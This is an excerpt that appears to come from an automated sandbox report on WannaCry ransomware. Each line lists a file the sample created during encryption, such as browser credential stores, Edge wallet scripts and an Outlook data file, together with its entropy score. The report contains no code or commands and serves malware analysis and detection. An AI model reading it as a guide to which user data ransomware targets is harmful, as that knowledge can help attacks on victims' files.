Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRYT entropy: 7.99603172429	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRYT entropy: 7.99987969309	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRYT entropy: 7.99746672381	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRYT entropy: 7.9995860221	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRYT entropy: 7.99745394441	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRYT entropy: 7.99945523185	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRYT entropy: 7.99842479811	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRYT entropy: 7.99935784044	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRYT entropy: 7.99985055088	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRYT entropy: 7.99910287575	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRYT entropy: 7.99981592682	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRYT entropy: 7.99981704652	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT entropy: 7.99989065799	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRYT entropy: 7.99908198938	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRYT entropy: 7.99770282325	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\u9BHPK6Ysm_7E45ERhG9lu3epIw.br[1].js.WNCRYT entropy: 7.99685924211	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT entropy: 7.99982358503	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRYT entropy: 7.99968258653	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRYT entropy: 7.99996805056	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRYT entropy: 7.99851960536	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRYT entropy: 7.99946063954	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRYT entropy: 7.99886322641	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRYT entropy: 7.99818001682	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\1J0BS9YB\Dm5sMNO8Bp1gDqDK-DbxdfDD0W4[1].js.WNCRYT entropy: 7.99658945458	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\VR1R6S8L\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRYT entropy: 7.99211679504	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99986745137	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT entropy: 7.99989916794	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRYT entropy: 7.99835456706	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRYT entropy: 7.9999114694	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRYT entropy: 7.99846396416	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRYT entropy: 7.99318256794	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRYT entropy: 7.99988202239	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRYT entropy: 7.99993659258	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRYT entropy: 7.99978173165	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRYT entropy: 7.99947247013	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRYT entropy: 7.999665421	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRYT entropy: 7.99945924919	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRYT entropy: 7.99962405057	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRYT entropy: 7.99985609024	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\cert9.db.WNCRYT entropy: 7.99925338246	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\key4.db.WNCRYT entropy: 7.99934431331	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT entropy: 7.99830908732	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT entropy: 7.99232234311	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT entropy: 7.99344735166	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT entropy: 7.99216786916	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRYT entropy: 7.99029985807	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0F504D63-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT entropy: 7.99946936059	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRYT entropy: 7.99844297585	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRYT entropy: 7.99807296027	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT entropy: 7.99984409515	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT entropy: 7.99994586397	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRYT entropy: 7.99928826259	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT entropy: 7.99992276638	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst entropy: 7.99932285811	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT entropy: 7.9999175225	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT entropy: 7.99709204301	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT entropy: 7.99981831829	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT entropy: 7.9998268972	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT entropy: 7.99984567629	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT entropy: 7.99984252764	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT entropy: 7.99995861671	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT entropy: 7.9946792705	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\96LGQ1XY\oneDs_f2e0f4a029670f10d892[1].js.WNCRYT entropy: 7.99910031659	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GO30WR0E\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRYT entropy: 7.99960802813	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NB937L4Q\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRYT entropy: 7.99433722605	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT entropy: 7.99981528995	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT entropy: 7.99983614804	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT entropy: 7.99627898208	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT entropy: 7.99350688259	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT entropy: 7.99008003938	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1MHJ0V8H\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRYT entropy: 7.99778880267	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1MHJ0V8H\pwa-bundle-3a99f64809c6780df035[1].js.WNCRYT entropy: 7.99986040046	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\otel-logger-104bffe9378b8041455c[1].js.WNCRYT entropy: 7.99808331347	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT entropy: 7.99115210426	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRYT entropy: 7.99566898059	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRYT entropy: 7.99536853058	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRYT entropy: 7.99973074517	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRYT entropy: 7.99166155463	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\1SILG4EA\sharedscripts-939520eada[1].js.WNCRYT entropy: 7.99664912454	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\5HU7WKQ3\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRYT entropy: 7.99560382737	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DIYKGEYO\microsoft-365-logo-01d5ecd01a[1].png.WNCRYT entropy: 7.99229793401	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99988221311	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99986479978	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRYT entropy: 7.99852740324	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRYT entropy: 7.99672025624	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRYT entropy: 7.9960897084	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRYT entropy: 7.99294532494	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRYT entropy: 7.99565098819	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\WannaCry.bin.zip.WNCRYT entropy: 7.99995189113	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\WannaCry.bin.zip entropy: 7.99939462751	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\s.wnry entropy: 7.998263053	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\t.wnry entropy: 7.99727613788	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT entropy: 7.99790445448	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT entropy: 7.99555726501	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRYT entropy: 7.99147406338	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRYT entropy: 7.99765602559	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DIYKGEYO\hero-image-desktop-f6720a4145[1].jpg.WNCRYT entropy: 7.99837743965	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{85c25073-fac4-499b-b8b8-74bec066303c}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99546990903	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a5e39447-b6a3-49d2-bea7-436a496a2204}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99541190456	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{e4fc45bb-0848-413b-88ce-70c789eb040f}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99505730434	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\appsconversions.txt.WNCRYT entropy: 7.99987543829	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\appsglobals.txt.WNCRYT entropy: 7.99944423494	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\appssynonyms.txt.WNCRYT entropy: 7.99941328462	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\settingsconversions.txt.WNCRYT entropy: 7.9996740119	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\settingsglobals.txt.WNCRYT entropy: 7.99604416303	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{b6e2d5d0-7cd6-4302-b3d8-f8809d966acd}\settingssynonyms.txt.WNCRYT entropy: 7.99831474592	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{2f653c34-93d5-49fe-923d-7a89486b82d4}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99920590954	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{3c1df65b-e1b4-4534-b489-7dfc2f9d79b4}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99914562053	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517910591508756.txt.WNCRYT entropy: 7.99820427866	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517910684731081.txt.WNCRYT entropy: 7.9983898575	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133724977409828784.txt.WNCRYT entropy: 7.99853138043	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133724977709856709.txt.WNCRYT entropy: 7.99814927079	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.99972687594	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\WannaCry.bin.zip.WNCRY (copy) entropy: 7.99995189113	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRY (copy) entropy: 7.99928826259	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRY (copy) entropy: 7.99790445448	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\DIYKGEYO\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy) entropy: 7.99837743965	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{85c25073-fac4-499b-b8b8-74bec066303c}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99546990903	Jump to dropped file
